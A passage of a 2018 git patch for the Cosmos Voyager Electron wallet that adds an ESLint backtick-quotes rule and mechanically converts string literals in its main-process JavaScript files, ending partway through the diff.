From 649722825347ae8f76c40ffb8d22f092e20e265f Mon Sep 17 00:00:00 2001 From: Fabian Date: Thu, 27 Sep 2018 15:53:58 +0200 Subject: [PATCH] Fabo/quotes rule (#1362) * linted * changelog * some more changes * update jest * fix tests * Revert "update jest" This reverts commit 873736c480b0f0c5d26e74b6495298df5ffb2950. --- .eslintrc.js | 3 +- CHANGELOG.md | 1 + app/src/main/addressbook.js | 44 +- app/src/main/index.dev.js | 12 +- app/src/main/index.js | 260 ++++----- app/src/main/menu.js | 60 +- app/src/network.js | 10 +- app/src/renderer/App.vue | 16 +- .../renderer/components/common/AnchorCopy.vue | 8 +- .../renderer/components/common/AppFooter.vue | 2 +- .../renderer/components/common/AppHeader.vue | 14 +- .../renderer/components/common/AppMenu.vue | 16 +- .../components/common/FundraiserWarning.vue | 2 +- .../renderer/components/common/Page404.vue | 2 +- .../components/common/PagePreferences.vue | 46 +- .../renderer/components/common/TextBlock.vue | 4 +- .../renderer/components/common/TmBalance.vue | 6 +- .../renderer/components/common/TmBtnCopy.vue | 8 +- .../components/common/TmBtnReceive.vue | 2 +- .../components/common/TmConnectedNetwork.vue | 22 +- .../components/common/TmDataEmptySearch.vue | 2 +- .../components/common/TmDataEmptyTx.vue | 2 +- .../components/common/TmDataError.vue | 2 +- .../components/common/TmFieldAddon.vue | 2 +- .../components/common/TmFieldSeed.vue | 6 +- .../components/common/TmFieldVote.vue | 8 +- .../components/common/TmHardwareState.vue | 4 +- .../renderer/components/common/TmLiCopy.vue | 4 +- .../components/common/TmLiSession.vue | 4 +- .../renderer/components/common/TmModal.vue | 8 +- .../components/common/TmModalError.vue | 18 +- .../components/common/TmModalHelp.vue | 6 +- .../components/common/TmModalLCDApproval.vue | 8 +- .../components/common/TmModalMenu.vue | 2 +- .../components/common/TmModalNoNodes.vue | 10 +- .../components/common/TmModalNodeHalted.vue | 10 +- .../components/common/TmModalReceive.vue | 8 +- .../components/common/TmModalSearch.vue | 14 +- .../components/common/TmOnboarding.vue | 24 +- app/src/renderer/components/common/TmPart.vue | 4 +- .../renderer/components/common/TmSession.vue | 4 +- .../common/TmSessionAccountDelete.vue | 22 +- .../components/common/TmSessionHardware.vue | 18 +- .../components/common/TmSessionImport.vue | 40 +- .../components/common/TmSessionLoading.vue | 8 +- .../components/common/TmSessionSignIn.vue | 36 +- .../components/common/TmSessionSignUp.vue | 40 +- .../components/common/TmSessionWelcome.vue | 10 +- .../renderer/components/common/TmUserPane.vue | 6 +- .../renderer/components/common/VmToolBar.vue | 10 +- .../renderer/components/govern/ChartVotes.vue | 53 +- .../renderer/components/govern/LiProposal.vue | 8 +- .../components/govern/PageProposal.vue | 18 +- .../components/govern/PageProposals.vue | 52 +- .../components/govern/PageProposalsNew.vue | 4 +- .../govern/PageProposalsNewAdjust.vue | 18 +- .../govern/PageProposalsNewAmend.vue | 18 +- .../govern/PageProposalsNewCreate.vue | 20 +- .../govern/PageProposalsNewText.vue | 18 +- .../govern/PageProposalsNewUpgrade.vue | 18 +- .../components/staking/ChartVotePower.vue | 76 ++- .../components/staking/LiValidator.vue | 40 +- .../components/staking/ModalStake.vue | 2 +- .../renderer/components/staking/PageBond.vue | 544 ++++++++++++++++++ .../components/staking/PageStaking.vue | 88 +-- .../components/staking/PageValidator.vue | 40 +- .../renderer/components/staking/PanelSort.vue | 22 +- .../components/staking/TabMyStake.vue | 98 ++-- .../components/staking/TabValidators.vue | 94 +-- .../renderer/components/wallet/PageSend.vue | 32 +- .../components/wallet/PageTransactions.vue | 38 +- .../renderer/components/wallet/PageWallet.vue | 37 +- .../wallet/TmLiStakingTransaction.vue | 8 +- .../components/wallet/TmLiTransaction.vue | 8 +- .../wallet/TmModalSendConfirmation.vue | 8 +- app/src/renderer/connectors/lcdClient.js | 58 +- app/src/renderer/connectors/lcdClientMock.js | 218 +++---- app/src/renderer/connectors/node.js | 12 +- app/src/renderer/connectors/rpcWrapper.js | 22 +- app/src/renderer/connectors/rpcWrapperMock.js | 22 +- app/src/renderer/main.js | 52 +- app/src/renderer/routes.js | 84 +-- app/src/renderer/scripts/b32.js | 6 +- app/src/renderer/scripts/common.js | 30 +- app/src/renderer/scripts/num.js | 24 +- app/src/renderer/scripts/tx-utils.js | 6 +- app/src/renderer/vuex/modules/blockchain.js | 32 +- app/src/renderer/vuex/modules/config.js | 10 +- app/src/renderer/vuex/modules/delegates.js | 20 +- app/src/renderer/vuex/modules/delegation.js | 40 +- app/src/renderer/vuex/modules/filters.js | 14 +- app/src/renderer/vuex/modules/index.js | 32 +- app/src/renderer/vuex/modules/keybase.js | 11 +- app/src/renderer/vuex/modules/node.js | 64 +-- .../renderer/vuex/modules/notifications.js | 38 +- app/src/renderer/vuex/modules/onboarding.js | 10 +- app/src/renderer/vuex/modules/send.js | 16 +- app/src/renderer/vuex/modules/themes.js | 10 +- app/src/renderer/vuex/modules/transactions.js | 32 +- app/src/renderer/vuex/modules/user.js | 65 ++- app/src/renderer/vuex/modules/validators.js | 12 +- app/src/renderer/vuex/modules/wallet.js | 44 +- app/src/renderer/vuex/store.js | 14 +- app/src/root.js | 12 +- jest.config.js | 58 +- tasks/build/build.js | 54 +- tasks/build/local/build.js | 50 +- tasks/build/localBuild.js | 6 +- tasks/common.js | 10 +- tasks/createReleasePR.js | 42 +- tasks/publish.js | 30 +- tasks/runner.js | 56 +- tasks/test-build.js | 20 +- tasks/testnet.js | 6 +- tasks/windows-installer.js | 18 +- test/e2e/common.js | 64 +-- test/e2e/init.js | 20 +- test/e2e/launch.js | 256 ++++----- test/e2e/preferences.js | 32 +- test/e2e/signin.js | 268 ++++----- test/e2e/staking.js | 34 +- test/e2e/wallet.js | 124 ++-- test/unit/helpers/console_error_throw.js | 6 +- test/unit/helpers/electron_mock.js | 18 +- test/unit/helpers/fixed_time.js | 6 +- test/unit/helpers/fs-mock.js | 26 +- test/unit/helpers/genesis_mock.js | 60 +- test/unit/helpers/node_mock.js | 30 +- test/unit/helpers/vuex-setup.js | 14 +- test/unit/specs/App.spec.js | 152 ++--- test/unit/specs/addressbook.spec.js | 158 ++--- test/unit/specs/build.spec.js | 12 +- .../components/common/AnchorCopy.spec.js | 30 +- .../specs/components/common/AppFooter.spec.js | 4 +- .../specs/components/common/AppHeader.spec.js | 74 +-- .../specs/components/common/AppMenu.spec.js | 28 +- .../common/FundraiserWarning.spec.js | 4 +- .../specs/components/common/Page404.spec.js | 8 +- .../components/common/PagePreferences.spec.js | 76 +-- .../specs/components/common/TextBlock.spec.js | 6 +- .../specs/components/common/TmBalance.spec.js | 36 +- .../specs/components/common/TmBtnCopy.spec.js | 40 +- .../components/common/TmBtnReceive.spec.js | 8 +- .../common/TmConnectedNetwork.spec.js | 92 +-- .../common/TmDataEmptySearch.spec.js | 22 +- .../components/common/TmDataEmptyTx.spec.js | 22 +- .../components/common/TmDataError.spec.js | 22 +- .../components/common/TmFieldAddon.spec.js | 10 +- .../components/common/TmFieldSeed.spec.js | 14 +- .../components/common/TmFieldVote.spec.js | 30 +- .../components/common/TmHardwareState.spec.js | 22 +- .../specs/components/common/TmLiCopy.spec.js | 14 +- .../components/common/TmLiSession.spec.js | 28 +- .../specs/components/common/TmModal.spec.js | 36 +- .../components/common/TmModalError.spec.js | 64 +-- .../components/common/TmModalHelp.spec.js | 8 +- .../common/TmModalLCDApproval.spec.js | 26 +- .../components/common/TmModalNoNodes.spec.js | 14 +- .../common/TmModalNodeHalted.spec.js | 14 +- .../components/common/TmModalReceive.spec.js | 10 +- .../components/common/TmModalSearch.spec.js | 32 +- .../components/common/TmOnboarding.spec.js | 56 +- .../specs/components/common/TmSession.spec.js | 66 +-- .../common/TmSessionAccountDelete.spec.js | 50 +- .../common/TmSessionHardware.spec.js | 30 +- .../components/common/TmSessionImport.spec.js | 121 ++-- .../common/TmSessionLoading.spec.js | 14 +- .../components/common/TmSessionSignIn.spec.js | 64 +-- .../components/common/TmSessionSignUp.spec.js | 154 ++--- .../common/TmSessionWelcome.spec.js | 46 +- .../components/common/TmUserPane.spec.js | 24 +- .../specs/components/common/VmToolBar.spec.js | 22 +- .../components/govern/ChartVotes.spec.js | 8 +- .../components/govern/LiProposal.spec.js | 36 +- .../components/staking/LiValidator.spec.js | 48 +- .../components/staking/PageStaking.spec.js | 54 +- .../components/staking/PageValidator.spec.js | 129 +++-- .../components/staking/PanelSort.spec.js | 44 +- .../components/staking/TabMyStake.spec.js | 148 ++--- .../components/staking/TabValidators.spec.js | 46 +- .../specs/components/wallet/PageSend.spec.js | 138 ++--- .../wallet/PageTransactions.spec.js | 94 +-- .../components/wallet/PageWallet.spec.js | 86 +-- .../wallet/TmModalSendConfirmation.spec.js | 26 +- test/unit/specs/lcdClient.spec.js | 118 ++-- test/unit/specs/lcdClientMock.spec.js | 340 +++++------ test/unit/specs/main.spec.js | 464 +++++++-------- test/unit/specs/node.spec.js | 36 +- test/unit/specs/releasePullRequest.js | 12 +- test/unit/specs/root.spec.js | 38 +- test/unit/specs/rpcWrapper.spec.js | 64 +-- test/unit/specs/rpcWrapperMock.spec.js | 22 +- test/unit/specs/scripts/common.spec.js | 30 +- test/unit/specs/scripts/num.spec.js | 50 +- test/unit/specs/scripts/tx-utils.spec.js | 9 +- test/unit/specs/store/blockchain.spec.js | 51 +- test/unit/specs/store/delegates.spec.js | 82 +-- test/unit/specs/store/delegation.spec.js | 144 ++--- test/unit/specs/store/filters.spec.js | 22 +- test/unit/specs/store/index.spec.js | 10 +- test/unit/specs/store/json/txs.js | 119 ++-- test/unit/specs/store/keybase.spec.js | 32 +- test/unit/specs/store/node.spec.js | 208 +++---- test/unit/specs/store/notification.spec.js | 38 +- test/unit/specs/store/onboarding.spec.js | 26 +- test/unit/specs/store/send.spec.js | 92 +-- test/unit/specs/store/store.spec.js | 98 ++-- test/unit/specs/store/themes.spec.js | 28 +- test/unit/specs/store/transactions.spec.js | 64 +-- test/unit/specs/store/user.spec.js | 164 +++--- test/unit/specs/store/validators.spec.js | 56 +- test/unit/specs/store/wallet.spec.js | 104 ++-- webpack.main.config.js | 28 +- webpack.renderer.config.js | 90 +-- 214 files changed, 5173 insertions(+), 4644 deletions(-) create mode 100644 app/src/renderer/components/staking/PageBond.vue diff --git a/.eslintrc.js b/.eslintrc.js index 07e329b5e2..09e2bcb97e 100644 --- a/.eslintrc.js +++ b/.eslintrc.js @@ -17,6 +17,7 @@ module.exports = { // allow debugger during development "no-debugger": process.env.NODE_ENV === "production" ? 2 : 0, "no-undef": "error", - "no-unused-vars": "error" + "no-unused-vars": "error", + quotes: ["error", "backtick"] } } diff --git a/CHANGELOG.md b/CHANGELOG.md index 492f1c522f..9e58234d82 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -27,6 +27,7 @@ and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0. * Added new validator profile page @faboweb * cleaning up new validator profile page and balance header @jbibla * Changed a bunch of JavaScript files to strict mode. @NodeGuy @faboweb +* prefer backquotes in code @ƒaboweb * Refactord submitDelegation. @NodeGuy ### Fixed diff --git a/app/src/main/addressbook.js b/app/src/main/addressbook.js index 8b6216021b..e427ee2a39 100644 --- a/app/src/main/addressbook.js +++ b/app/src/main/addressbook.js @@ -1,10 +1,10 @@ "use strict" -const fs = require("fs-extra") -const { join } = require("path") -const axios = require("axios") +const fs = require(`fs-extra`) +const { join } = require(`path`) +const axios = require(`axios`) -const LOGGING = JSON.parse(process.env.LOGGING || "true") !== false +const LOGGING = JSON.parse(process.env.LOGGING || `true`) !== false const FIXED_NODE = process.env.COSMOS_NODE module.exports = class Addressbook { @@ -23,7 +23,7 @@ module.exports = class Addressbook { return } - this.addressbookPath = join(configPath, "addressbook.json") + this.addressbookPath = join(configPath, `addressbook.json`) this.loadFromDisc() // add persistent peers to already stored peers @@ -41,11 +41,11 @@ module.exports = class Addressbook { ) if (!peerIsKnown) { - LOGGING && console.log("Adding new peer:", peerHost) + LOGGING && console.log(`Adding new peer:`, peerHost) this.peers.push({ host: peerHost, // assume that new peers are available - state: "available" + state: `available` }) } } @@ -58,21 +58,21 @@ module.exports = class Addressbook { this.peers = [] return } - let content = fs.readFileSync(this.addressbookPath, "utf8") + let content = fs.readFileSync(this.addressbookPath, `utf8`) let peers = JSON.parse(content) this.peers = peers.map(host => ({ host, - state: "available" + state: `available` })) } persistToDisc() { let peers = this.peers // only remember available nodes - .filter(p => p.state === "available") + .filter(p => p.state === `available`) .map(p => p.host) fs.ensureFileSync(this.addressbookPath) - fs.writeFileSync(this.addressbookPath, JSON.stringify(peers), "utf8") + fs.writeFileSync(this.addressbookPath, JSON.stringify(peers), `utf8`) } // returns an available node or throws if it can't find any @@ -94,18 +94,18 @@ module.exports = class Addressbook { ) .then(() => true, () => false) if (!alive) - throw Error("The fixed node you tried to connect to is not reachable.") + throw Error(`The fixed node you tried to connect to is not reachable.`) } else { - let availableNodes = this.peers.filter(node => node.state === "available") + let availableNodes = this.peers.filter(node => node.state === `available`) if (availableNodes.length === 0) { - throw Error("No nodes available to connect to") + throw Error(`No nodes available to connect to`) } // pick a random node curNode = availableNodes[Math.floor(Math.random() * availableNodes.length)] try { - let peerIP = curNode.host.split(":")[0] + let peerIP = curNode.host.split(`:`)[0] await this.discoverPeers(peerIP) } catch (exception) { console.log( @@ -122,26 +122,26 @@ module.exports = class Addressbook { this.persistToDisc() } - this.onConnectionMessage("Picked node: " + curNode.host) - return ( - curNode.host.split(":")[0] + ":" + this.config.default_tendermint_port // export the picked node with the correct tendermint port - ) + this.onConnectionMessage(`Picked node: ` + curNode.host) + return `${curNode.host.split(`:`)[0]}:${ + this.config.default_tendermint_port + }` // export the picked node with the correct tendermint port } flagNodeOffline(host) { let peer = this.peers.find(p => p.host === host) - if (peer) peer.state = "down" + if (peer) peer.state = `down` } flagNodeIncompatible(host) { let peer = this.peers.find(p => p.host === host) - if (peer) peer.state = "incompatible" + if (peer) peer.state = `incompatible` } resetNodes() { this.peers = this.peers.map(peer => Object.assign({}, peer, { - state: "available" + state: `available` }) ) } diff --git a/app/src/main/index.dev.js b/app/src/main/index.dev.js index a0810a392f..374b59ba07 100644 --- a/app/src/main/index.dev.js +++ b/app/src/main/index.dev.js @@ -10,20 +10,20 @@ /* eslint-disable no-console */ // Set babel `env` and install `babel-register` -process.env.BABEL_ENV = "main" +process.env.BABEL_ENV = `main` -require("babel-register")({ ignore: /node_modules/ }) +require(`babel-register`)({ ignore: /node_modules/ }) // Install `vue-devtools` -require("electron").app.on("ready", () => { - let installExtension = require("electron-devtools-installer") +require(`electron`).app.on(`ready`, () => { + let installExtension = require(`electron-devtools-installer`) installExtension .default(installExtension.VUEJS_DEVTOOLS) .then(() => {}) .catch(err => { - console.log("Unable to install `vue-devtools`: \n", err) + console.log(`Unable to install \`vue-devtools\`: \n`, err) }) }) // Require `main` process to boot app -require("./index") +require(`./index`) diff --git a/app/src/main/index.js b/app/src/main/index.js index 4dedf51f2e..f8f8f7a0fc 100644 --- a/app/src/main/index.js +++ b/app/src/main/index.js @@ -1,23 +1,23 @@ "use strict" -let { app, BrowserWindow, ipcMain } = require("electron") -let fs = require("fs-extra") -let { join, relative } = require("path") -let childProcess = require("child_process") -let semver = require("semver") -let toml = require("toml") -let Raven = require("raven") -let _ = require("lodash") -let axios = require("axios") - -let Addressbook = require("./addressbook.js") -let pkg = require("../../../package.json") -let addMenu = require("./menu.js") -let config = require("../config.js") -let LcdClient = require("../renderer/connectors/lcdClient.js") +let { app, BrowserWindow, ipcMain } = require(`electron`) +let fs = require(`fs-extra`) +let { join, relative } = require(`path`) +let childProcess = require(`child_process`) +let semver = require(`semver`) +let toml = require(`toml`) +let Raven = require(`raven`) +let _ = require(`lodash`) +let axios = require(`axios`) + +let Addressbook = require(`./addressbook.js`) +let pkg = require(`../../../package.json`) +let addMenu = require(`./menu.js`) +let config = require(`../config.js`) +let LcdClient = require(`../renderer/connectors/lcdClient.js`) global.config = config // to make the config accessable from renderer -require("electron-debug")() +require(`electron-debug`)() let shuttingDown = false let mainWindow @@ -29,17 +29,17 @@ let booted = false let addressbook let expectedGaiaCliVersion -const root = require("../root.js") +const root = require(`../root.js`) global.root = root // to make the root accessable from renderer -const networkPath = require("../network.js").path +const networkPath = require(`../network.js`).path -const lcdHome = join(root, "lcd") +const lcdHome = join(root, `lcd`) const WIN = /^win/.test(process.platform) -const DEV = process.env.NODE_ENV === "development" -const TEST = process.env.NODE_ENV === "testing" +const DEV = process.env.NODE_ENV === `development` +const TEST = process.env.NODE_ENV === `testing` global.config.development = DEV || TEST // TODO default logging or default disable logging? -const LOGGING = JSON.parse(process.env.LOGGING || "true") !== false +const LOGGING = JSON.parse(process.env.LOGGING || `true`) !== false const winURL = DEV ? `http://localhost:${config.wds_port}` : `file://${__dirname}/index.html` @@ -50,12 +50,12 @@ const MOCK = : false global.config.mocked = MOCK // persist resolved mock setting also in config used by view thread const gaiaVersion = fs - .readFileSync(networkPath + "/gaiaversion.txt") + .readFileSync(networkPath + `/gaiaversion.txt`) .toString() - .split("-")[0] + .split(`-`)[0] process.env.GAIA_VERSION = gaiaVersion -let LCD_BINARY_NAME = "gaiacli" + (WIN ? ".exe" : "") +let LCD_BINARY_NAME = `gaiacli` + (WIN ? `.exe` : ``) function log(...args) { if (LOGGING) { @@ -72,7 +72,7 @@ function logProcess(process, logPath) { fs.ensureFileSync(logPath) // Writestreams are blocking fs cleanup in tests, if you get errors, disable logging if (LOGGING) { - let logStream = fs.createWriteStream(logPath, { flags: "a" }) // 'a' means appending (old data will be preserved) + let logStream = fs.createWriteStream(logPath, { flags: `a` }) // 'a' means appending (old data will be preserved) streams.push(logStream) process.stdout.pipe(logStream) process.stderr.pipe(logStream) @@ -97,12 +97,12 @@ function sleep(ms) { function handleCrash(error) { afterBooted(() => { if (mainWindow) { - mainWindow.webContents.send("error", { + mainWindow.webContents.send(`error`, { message: error ? error.message ? error.message : error - : "An unspecified error occurred" + : `An unspecified error occurred` }) } }) @@ -110,9 +110,9 @@ function handleCrash(error) { function signalNoNodesAvailable() { afterBooted(() => { - mainWindow.webContents.send("error", { - code: "NO_NODES_AVAILABLE", - message: "No nodes available to connect to." + mainWindow.webContents.send(`error`, { + code: `NO_NODES_AVAILABLE`, + message: `No nodes available to connect to.` }) }) } @@ -130,7 +130,7 @@ function shutdown() { return Promise.all( streams.map(stream => new Promise(resolve => stream.close(resolve))) ).then(() => { - log("[SHUTDOWN] Voyager has shutdown") + log(`[SHUTDOWN] Voyager has shutdown`) }) } @@ -142,16 +142,16 @@ function createWindow() { width: 1024, height: 768, center: true, - title: "Cosmos Voyager", + title: `Cosmos Voyager`, darkTheme: true, - titleBarStyle: "hidden", - backgroundColor: "#15182d", + titleBarStyle: `hidden`, + backgroundColor: `#15182d`, webPreferences: { webSecurity: false } }) - mainWindow.once("ready-to-show", () => { + mainWindow.once(`ready-to-show`, () => { setTimeout(() => { mainWindow.show() - if (DEV || JSON.parse(process.env.COSMOS_DEVTOOLS || "false")) { + if (DEV || JSON.parse(process.env.COSMOS_DEVTOOLS || `false`)) { mainWindow.webContents.openDevTools() } if (DEV) { @@ -161,23 +161,23 @@ function createWindow() { }) // start vue app - mainWindow.loadURL(winURL + "?lcd_port=" + LCD_PORT) + mainWindow.loadURL(winURL + `?lcd_port=` + LCD_PORT) - mainWindow.on("closed", shutdown) + mainWindow.on(`closed`, shutdown) // eslint-disable-next-line no-console - log("mainWindow opened") + log(`mainWindow opened`) // handle opening external links in OS's browser let webContents = mainWindow.webContents let handleRedirect = (e, url) => { if (url !== webContents.getURL()) { e.preventDefault() - require("electron").shell.openExternal(url) + require(`electron`).shell.openExternal(url) } } - webContents.on("will-navigate", handleRedirect) - webContents.on("new-window", handleRedirect) + webContents.on(`will-navigate`, handleRedirect) + webContents.on(`new-window`, handleRedirect) addMenu(mainWindow) } @@ -190,21 +190,21 @@ function startProcess(name, args, env) { // in development use the build gaia files from running `yarn build:gaia` const osFolderName = (function() { switch (process.platform) { - case "win32": - return "windows_amd64" - case "darwin": - return "darwin_amd64" - case "linux": - return "linux_amd64" + case `win32`: + return `windows_amd64` + case `darwin`: + return `darwin_amd64` + case `linux`: + return `linux_amd64` } })() - binPath = join(__dirname, "../../../builds/gaia", osFolderName, name) + binPath = join(__dirname, `../../../builds/gaia`, osFolderName, name) } else { // in production mode, use binaries packaged with app - binPath = join(__dirname, "..", "bin", name) + binPath = join(__dirname, `..`, `bin`, name) } - let argString = args.map(arg => JSON.stringify(arg)).join(" ") + let argString = args.map(arg => JSON.stringify(arg)).join(` `) log(`spawning ${binPath} with args "${argString}"`) let child try { @@ -213,19 +213,19 @@ function startProcess(name, args, env) { log(`Err: Spawning ${name} failed`, err) throw err } - child.stdout.on("data", data => !shuttingDown && log(`${name}: ${data}`)) - child.stderr.on("data", data => !shuttingDown && log(`${name}: ${data}`)) + child.stdout.on(`data`, data => !shuttingDown && log(`${name}: ${data}`)) + child.stderr.on(`data`, data => !shuttingDown && log(`${name}: ${data}`)) child.on( - "exit", + `exit`, code => !shuttingDown && log(`${name} exited with code ${code}`) ) - child.on("error", async function(err) { - if (!(shuttingDown && err.code === "ECONNRESET")) { + child.on(`error`, async function(err) { + if (!(shuttingDown && err.code === `ECONNRESET`)) { // if we throw errors here, they are not handled by the main process let errorMessage = [ - "[Uncaught Exception] Child", + `[Uncaught Exception] Child`, name, - "produced an unhandled exception:", + `produced an unhandled exception:`, err ] logError(...errorMessage) @@ -237,46 +237,46 @@ function startProcess(name, args, env) { }) // need to kill child processes if main process dies - process.on("exit", () => { + process.on(`exit`, () => { child.kill() }) return child } -app.on("window-all-closed", () => { +app.on(`window-all-closed`, () => { app.quit() }) -app.on("activate", () => { +app.on(`activate`, () => { if (mainWindow === null) { createWindow() } }) -app.on("ready", () => createWindow()) +app.on(`ready`, () => createWindow()) // start lcd REST API async function startLCD(home, nodeIP) { let lcdStarted = false // remember if the lcd has started to toggle the right error handling if it crashes async return new Promise(async (resolve, reject) => { - log("startLCD", home) + log(`startLCD`, home) let child = startProcess(LCD_BINARY_NAME, [ - "advanced", - "rest-server", - "--laddr", + `advanced`, + `rest-server`, + `--laddr`, `tcp://localhost:${LCD_PORT}`, - "--home", + `--home`, home, - "--node", + `--node`, nodeIP, - "--chain-id", + `--chain-id`, chainId ]) - logProcess(child, join(home, "lcd.log")) + logProcess(child, join(home, `lcd.log`)) - child.stderr.on("data", error => { + child.stderr.on(`data`, error => { let errorMessage = `The gaiacli rest-server (LCD) experienced an error:\n${error.toString( - "utf8" + `utf8` )}`.substr(0, 1000) lcdStarted ? handleCrash(errorMessage) // if fails later @@ -304,27 +304,27 @@ function stopLCD() { resolve() return } - log("Stopping the LCD server") + log(`Stopping the LCD server`) try { // prevent the exit to signal bad termination warnings - lcdProcess.removeAllListeners("exit") - lcdProcess.on("exit", resolve) - lcdProcess.kill("SIGKILL") + lcdProcess.removeAllListeners(`exit`) + lcdProcess.on(`exit`, resolve) + lcdProcess.kill(`SIGKILL`) lcdProcess = null resolve() } catch (err) { handleCrash(err) - reject("Stopping the LCD resulted in an error: " + err.message) + reject(`Stopping the LCD resulted in an error: ` + err.message) } }) } async function getGaiacliVersion() { - let child = startProcess(LCD_BINARY_NAME, ["version"]) + let child = startProcess(LCD_BINARY_NAME, [`version`]) let data = await new Promise(resolve => { - child.stdout.on("data", resolve) + child.stdout.on(`data`, resolve) }) - return data.toString("utf8").trim() + return data.toString(`utf8`).trim() } function exists(path) { @@ -332,7 +332,7 @@ function exists(path) { fs.accessSync(path) return true } catch (err) { - if (err.code !== "ENOENT") throw err + if (err.code !== `ENOENT`) throw err return false } } @@ -404,7 +404,7 @@ function afterBooted(cb) { // in tests we trigger the booted callback always, this causes those events to be sent twice // this is why we skip the callback if the message was sent already let sent = false - ipcMain.on("booted", () => { + ipcMain.on(`booted`, () => { cb() sent = true }) @@ -420,14 +420,14 @@ function setupLogging(root) { if (!LOGGING) return // initialize log file - let logFilePath = join(root, "main.log") + let logFilePath = join(root, `main.log`) fs.ensureFileSync(logFilePath) - let mainLog = fs.createWriteStream(logFilePath, { flags: "a" }) // 'a' means appending (old data will be preserved) + let mainLog = fs.createWriteStream(logFilePath, { flags: `a` }) // 'a' means appending (old data will be preserved) mainLog.write(`${new Date()} Running Cosmos-UI\r\n`) // mainLog.write(`${new Date()} Environment: ${JSON.stringify(process.env)}\r\n`) // TODO should be filtered before adding it to the log streams.push(mainLog) - log("Redirecting console output to logfile", logFilePath) + log(`Redirecting console output to logfile`, logFilePath) // redirect stdout/err to logfile // TODO overwriting console.log sounds like a bad idea, can we find an alternative? // eslint-disable-next-line no-func-assign @@ -435,27 +435,27 @@ function setupLogging(root) { if (DEV) { console.log(...args) } - mainLog.write(`main-process: ${args.join(" ")}\r\n`) + mainLog.write(`main-process: ${args.join(` `)}\r\n`) } // eslint-disable-next-line no-func-assign logError = function(...args) { if (DEV) { console.error(...args) } - mainLog.write(`main-process: ${args.join(" ")}\r\n`) + mainLog.write(`main-process: ${args.join(` `)}\r\n`) } } if (!TEST) { - process.on("exit", shutdown) + process.on(`exit`, shutdown) // on uncaught exceptions we wait so the sentry event can be sent - process.on("uncaughtException", async function(err) { - logError("[Uncaught Exception]", err) + process.on(`uncaughtException`, async function(err) { + logError(`[Uncaught Exception]`, err) Raven.captureException(err) handleCrash(err) }) - process.on("unhandledRejection", async function(err) { - logError("[Unhandled Promise Rejection]", err) + process.on(`unhandledRejection`, async function(err) { + logError(`[Unhandled Promise Rejection]`, err) Raven.captureException(err) handleCrash(err) }) @@ -463,13 +463,13 @@ if (!TEST) { const eventHandlers = { booted: () => { - log("View has booted") + log(`View has booted`) booted = true }, "error-collection": (event, optin) => { Raven.uninstall() - .config(optin ? config.sentry_dsn : "", { + .config(optin ? config.sentry_dsn : ``, { captureUnhandledRejections: false }) .install() @@ -482,7 +482,7 @@ const eventHandlers = { reconnect: () => reconnect(addressbook), "retry-connection": () => { - log("Retrying to connect to nodes") + log(`Retrying to connect to nodes`) addressbook.resetNodes() reconnect(addressbook) }, @@ -492,7 +492,7 @@ const eventHandlers = { }, "successful-launch": () => { - console.log("[START SUCCESS] Vue app successfuly started") + console.log(`[START SUCCESS] Vue app successfuly started`) } } @@ -531,7 +531,7 @@ async function getNodeVersion() { let nodeVersion = await axios .get(versionURL, { timeout: 3000 }) .then(res => res.data) - .then(fullversion => fullversion.split("-")[0]) + .then(fullversion => fullversion.split(`-`)[0]) return nodeVersion } @@ -540,7 +540,7 @@ async function getNodeVersion() { async function testNodeVersion(nodeIP, expectedGaiaVersion, addressbook) { let nodeVersion = await getNodeVersion(nodeIP) let semverDiff = semver.diff(nodeVersion, expectedGaiaVersion) - if (semverDiff === "patch" || semverDiff === null) { + if (semverDiff === `patch` || semverDiff === null) { return { compatible: true, nodeVersion } } @@ -579,7 +579,7 @@ async function pickAndConnect(addressbook) { nodeVersion = out.nodeVersion } catch (err) { logError( - "Error in getting node SDK version, assuming node is incompatible. Error:", + `Error in getting node SDK version, assuming node is incompatible. Error:`, err ) addressbook.flagNodeIncompatible(nodeIP) @@ -589,7 +589,7 @@ async function pickAndConnect(addressbook) { if (!compatible) { let message = `Node ${nodeIP} uses SDK version ${nodeVersion} which is incompatible to the version used in Voyager ${expectedGaiaCliVersion}` log(message) - mainWindow.webContents.send("connection-status", message) + mainWindow.webContents.send(`connection-status`, message) return await pickAndConnect(addressbook) } @@ -601,11 +601,11 @@ async function connect(nodeIP) { log(`starting gaia rest server with nodeIP ${nodeIP}`) try { lcdProcess = await startLCD(lcdHome, nodeIP) - log("gaia rest server ready") + log(`gaia rest server ready`) afterBooted(() => { - log("Signaling connected node") - mainWindow.webContents.send("connected", nodeIP) + log(`Signaling connected node`) + mainWindow.webContents.send(`connected`, nodeIP) }) } catch (err) { throw err @@ -616,7 +616,7 @@ async function connect(nodeIP) { async function reconnect() { if (connecting) return - log("Starting reconnect") + log(`Starting reconnect`) connecting = true await stopLCD() @@ -640,11 +640,11 @@ function checkConsistentConfigDir( `The data directory (${root}) is missing ${relative(root, missingFile)}` ) } else { - let existingVersion = fs.readFileSync(appVersionPath, "utf8").trim() + let existingVersion = fs.readFileSync(appVersionPath, `utf8`).trim() let semverDiff = semver.diff(existingVersion, pkg.version) - let compatible = semverDiff !== "major" && semverDiff !== "minor" + let compatible = semverDiff !== `major` && semverDiff !== `minor` if (compatible) { - log("configs are compatible with current app version") + log(`configs are compatible with current app version`) } else { // TODO: versions of the app with different data formats will need to learn how to // migrate old data @@ -656,12 +656,12 @@ function checkConsistentConfigDir( const checkGaiaCompatibility = async gaiacliVersionPath => { // XXX: currently ignores commit hash - let gaiacliVersion = (await getGaiacliVersion()).split("-")[0] + let gaiacliVersion = (await getGaiacliVersion()).split(`-`)[0] expectedGaiaCliVersion = fs - .readFileSync(gaiacliVersionPath, "utf8") + .readFileSync(gaiacliVersionPath, `utf8`) .trim() - .split("-")[0] + .split(`-`)[0] log( `gaiacli version: "${gaiacliVersion}", expected: "${expectedGaiaCliVersion}"` @@ -675,8 +675,8 @@ const checkGaiaCompatibility = async gaiacliVersionPath => { throw Error( `The network you are trying to connect to requires gaia ${expectedGaiaCliVersion}, but the version Voyager is using is ${gaiacliVersion}.${ DEV - ? ' Please update "tasks/build/Gaia/COMMIT.sh" with the required version and run "yarn build:gaia".' - : "" + ? ` Please update "tasks/build/Gaia/COMMIT.sh" with the required version and run "yarn build:gaia".` + : `` }` ) } @@ -686,18 +686,18 @@ const getPersistentPeers = configPath => { // TODO: user-specified nodes, support switching? // TODO: use address to prevent MITM if specified - let configText = fs.readFileSync(configPath, "utf8") // checked before if the file exists + let configText = fs.readFileSync(configPath, `utf8`) // checked before if the file exists let configTOML = toml.parse(configText) const persistent_peers = _.uniq( 